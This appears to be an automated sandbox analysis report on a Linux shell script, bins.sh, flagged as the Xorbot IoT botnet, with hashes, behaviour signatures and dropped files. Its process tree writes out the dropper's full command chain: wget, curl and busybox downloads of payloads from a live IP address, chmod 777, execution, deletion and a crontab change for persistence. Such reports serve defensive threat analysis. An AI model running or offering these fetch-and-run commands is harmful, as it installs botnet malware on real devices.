Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20250410-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20250410-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    14/04/2025, 08:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    14fe92196204effcebf383b6c229fa20

  • SHA1

    70168b56582087d38df9d37991019b7cdb645179

  • SHA256

    7e955a8cb51233b3f9cce4d2938ff3dd829dcf4b80e9a215135e6df439355cbd

  • SHA512

    dc07bfb36fb437e9259bc2f17a0a01c14ff3ec7958b0e97d77cd1e3699a58cecab8f5c5f60ac5aa12b336cfe14c99f85da351c4475fe313cd0dfb542b3dcf094

  • SSDEEP

    192:ESWimvf23B3N3x3+3e3s0QkJpgU5y5q5uFpYTTLva22z5NRFQ3YsuLhL1Lzm+jTC:ESWimvf23B3N3x3+3e3s0QkJpgUoMJTZ

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (798) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:711
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:714
      • /usr/bin/wget
        wget http://87.121.84.214/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:717
      • /usr/bin/curl
        curl -O http://87.121.84.214/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:733
      • /bin/busybox
        /bin/busybox wget http://87.121.84.214/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:740
      • /bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:742
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:743
        • /bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://87.121.84.214/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://87.121.84.214/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://87.121.84.214/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:748
          • /bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:749
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:750
            • /bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:752
              • /usr/bin/wget
                wget http://87.121.84.214/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:753
              • /usr/bin/curl
                curl -O http://87.121.84.214/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:754
              • /bin/busybox
                /bin/busybox wget http://87.121.84.214/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:755
              • /bin/chmod
                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • File and Directory Permissions Modification
                PID:759
              • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                ./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                  PID:761
                • /bin/rm
                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  2⤵
                    PID:764
                  • /usr/bin/wget
                    wget http://87.121.84.214/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:765
                  • /usr/bin/curl
                    curl -O http://87.121.84.214/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:774
                  • /bin/busybox
                    /bin/busybox wget http://87.121.84.214/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:785
                  • /bin/chmod
                    chmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • File and Directory Permissions Modification
                    PID:789
                  • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    ./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                      PID:790
                    • /bin/rm
                      rm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                      2⤵
                        PID:794
                      • /usr/bin/wget
                        wget http://87.121.84.214/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:795
                      • /usr/bin/curl
                        curl -O http://87.121.84.214/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:806
                      • /bin/busybox
                        /bin/busybox wget http://87.121.84.214/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:813
                      • /bin/chmod
                        chmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • File and Directory Permissions Modification
                        PID:815
                      • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        ./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        PID:816
                      • /bin/rm
                        rm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        PID:818
                      • /usr/bin/wget
                        wget http://87.121.84.214/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Writes file to tmp directory
                        PID:819
                      • /usr/bin/curl
                        curl -O http://87.121.84.214/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:820
                      • /bin/busybox
                        /bin/busybox wget http://87.121.84.214/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Writes file to tmp directory
                        PID:821
                      • /bin/chmod
                        chmod 777 kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • File and Directory Permissions Modification
                        PID:822
                      • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        ./kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                          PID:823
                        • /bin/rm
                          rm kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                          2⤵
                            PID:825
                          • /usr/bin/wget
                            wget http://87.121.84.214/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Writes file to tmp directory
                            PID:826
                          • /usr/bin/curl
                            curl -O http://87.121.84.214/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Writes file to tmp directory
                            PID:831
                          • /bin/busybox
                            /bin/busybox wget http://87.121.84.214/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Writes file to tmp directory
                            PID:842
                          • /bin/chmod
                            chmod 777 MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • File and Directory Permissions Modification
                            PID:847
                          • /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            ./MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                              PID:848
                            • /bin/rm
                              rm MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                              2⤵
                                PID:852
                              • /usr/bin/wget
                                wget http://87.121.84.214/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • Writes file to tmp directory
                                PID:853
                              • /usr/bin/curl
                                curl -O http://87.121.84.214/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • Writes file to tmp directory
                                PID:860
                              • /bin/busybox
                                /bin/busybox wget http://87.121.84.214/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • Writes file to tmp directory
                                PID:865
                              • /bin/chmod
                                chmod 777 y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • File and Directory Permissions Modification
                                PID:866
                              • /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                ./y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • Renames itself
                                • Reads runtime system information
                                PID:867
                                • /bin/sh
                                  sh -c "crontab -l"
                                  3⤵
                                    PID:869
                                    • /usr/bin/crontab
                                      crontab -l
                                      4⤵
                                        PID:870
                                    • /bin/sh
                                      sh -c "crontab -"
                                      3⤵
                                        PID:871
                                        • /usr/bin/crontab
                                          crontab -
                                          4⤵
                                          • Creates/modifies Cron job
                                          PID:872
                                    • /bin/rm
                                      rm y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                      2⤵
                                        PID:874
                                      • /usr/bin/wget
                                        wget http://87.121.84.214/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                        2⤵
                                          PID:877

                                      Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki

                                        Filesize

                                        111KB

                                        MD5

                                        701e7a55a4f3650f5feee92a9860e5fc

                                        SHA1

                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                        SHA256

                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                        SHA512

                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                      • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

                                        Filesize

                                        117KB

                                        MD5

                                        849fa04ef88a8e8de32cb2e8538de5fe

                                        SHA1

                                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                        SHA256

                                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                        SHA512

                                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                      • /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA

                                        Filesize

                                        151KB

                                        MD5

                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                        SHA1

                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                        SHA256

                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                        SHA512

                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                      • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX

                                        Filesize

                                        119KB

                                        MD5

                                        1b166b95f9cb4b079ef1b9ec8363ddf3

                                        SHA1

                                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                                        SHA256

                                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                        SHA512

                                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                      • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

                                        Filesize

                                        99KB

                                        MD5

                                        9438d9bc392bcf300a5583b6df5bc8f6

                                        SHA1

                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                        SHA256

                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                        SHA512

                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

                                        Filesize

                                        107KB

                                        MD5

                                        eb9c3a0de91fcf16ba17cb24608df68c

                                        SHA1

                                        09d95a7d70d5e115d103be51edff7c498d272fac

                                        SHA256

                                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                        SHA512

                                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                      • /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q

                                        Filesize

                                        151KB

                                        MD5

                                        6c583043d91c55aa470c08c87058e917

                                        SHA1

                                        abf65a5b9bba69980278ad09356e53de8bb89439

                                        SHA256

                                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                        SHA512

                                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                      • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr

                                        Filesize

                                        141KB

                                        MD5

                                        3ca8decdb1e52c423c521bfff02ac200

                                        SHA1

                                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                                        SHA256

                                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                        SHA512

                                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                      • /var/spool/cron/crontabs/tmp.aHM4Ci

                                        Filesize

                                        210B

                                        MD5

                                        36d7270dc8e4875fbc717d5c9501b51f

                                        SHA1

                                        b8ae293d4dda723229ac72a2b04adea72fcbfad2

                                        SHA256

                                        957c78031dedde433f3c1d334aab84855971fb936d52f06163ba387b2de6190d

                                        SHA512

                                        9f6c5aeda134d739eb94a4d831d1917b2e2a29ae71831419bd32b206548397aaef92d4280d78c874712c401fef68803646bae51c89f5e698340dba013b8dd70a